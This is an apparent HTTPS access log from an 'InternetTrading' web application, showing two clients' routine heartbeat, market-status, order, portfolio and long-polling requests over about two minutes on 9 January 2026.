[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=A2986AF0421D3F729B6F0E3E23FCFBED HTTP/1.1" 1016
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935025714 HTTP/1.1" -
[09/Jan/2026:12:59:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935027285 HTTP/1.1" -
[09/Jan/2026:12:59:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:59:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1555
[09/Jan/2026:12:59:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935030753 HTTP/1.1" -
[09/Jan/2026:12:59:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:59:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935032525 HTTP/1.1" -
[09/Jan/2026:12:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935035799 HTTP/1.1" -
[09/Jan/2026:12:59:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935037608 HTTP/1.1" -
[09/Jan/2026:12:59:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935040926 HTTP/1.1" -
[09/Jan/2026:12:59:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:59:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935042813 HTTP/1.1" -
[09/Jan/2026:12:59:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935046087 HTTP/1.1" -
[09/Jan/2026:12:59:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935048034 HTTP/1.1" -
[09/Jan/2026:12:59:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935051152 HTTP/1.1" -
[09/Jan/2026:12:59:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935053208 HTTP/1.1" -
[09/Jan/2026:12:59:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935056299 HTTP/1.1" -
[09/Jan/2026:12:59:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935058396 HTTP/1.1" -
[09/Jan/2026:12:59:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935061340 HTTP/1.1" -
[09/Jan/2026:12:59:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:59:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935063611 HTTP/1.1" -
[09/Jan/2026:12:59:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935066502 HTTP/1.1" -
[09/Jan/2026:12:59:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935068809 HTTP/1.1" -
[09/Jan/2026:13:00:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935071682 HTTP/1.1" -
[09/Jan/2026:13:00:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:00:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935074014 HTTP/1.1" -
[09/Jan/2026:13:00:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935076828 HTTP/1.1" -
[09/Jan/2026:13:00:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935079295 HTTP/1.1" -
[09/Jan/2026:13:00:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935081882 HTTP/1.1" -
[09/Jan/2026:13:00:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935084487 HTTP/1.1" -
[09/Jan/2026:13:00:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:00:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935087085 HTTP/1.1" -
[09/Jan/2026:13:00:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935089754 HTTP/1.1" -
[09/Jan/2026:13:00:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:00:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:00:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935092185 HTTP/1.1" -
[09/Jan/2026:13:00:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935094942 HTTP/1.1" -
[09/Jan/2026:13:00:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935097330 HTTP/1.1" -
[09/Jan/2026:13:00:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935100232 HTTP/1.1" -
[09/Jan/2026:13:00:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935102440 HTTP/1.1" -
[09/Jan/2026:13:00:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:00:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935105443 HTTP/1.1" -
[09/Jan/2026:13:00:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935107565 HTTP/1.1" -
[09/Jan/2026:13:00:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935110674 HTTP/1.1" -
[09/Jan/2026:13:00:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1686
[09/Jan/2026:13:00:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:00:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935112634 HTTP/1.1" -
[09/Jan/2026:13:00:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:00:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935115858 HTTP/1.1" -
[09/Jan/2026:13:00:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935117765 HTTP/1.1" -
[09/Jan/2026:13:00:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935121116 HTTP/1.1" -
[09/Jan/2026:13:00:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:00:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:00:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:00:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935122868 HTTP/1.1" -
[09/Jan/2026:13:00:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935126341 HTTP/1.1" -
[09/Jan/2026:13:00:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935127920 HTTP/1.1" -
[09/Jan/2026:13:01:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935131542 HTTP/1.1" -
[09/Jan/2026:13:01:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:01:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935133109 HTTP/1.1" -
[09/Jan/2026:13:01:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935136793 HTTP/1.1" -
[09/Jan/2026:13:01:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935138169 HTTP/1.1" -
[09/Jan/2026:13:01:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935142012 HTTP/1.1" -
[09/Jan/2026:13:01:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935143286 HTTP/1.1" -
[09/Jan/2026:13:01:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:01:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935147318 HTTP/1.1" -
[09/Jan/2026:13:01:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935148439 HTTP/1.1" -
[09/Jan/2026:13:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935152539 HTTP/1.1" -
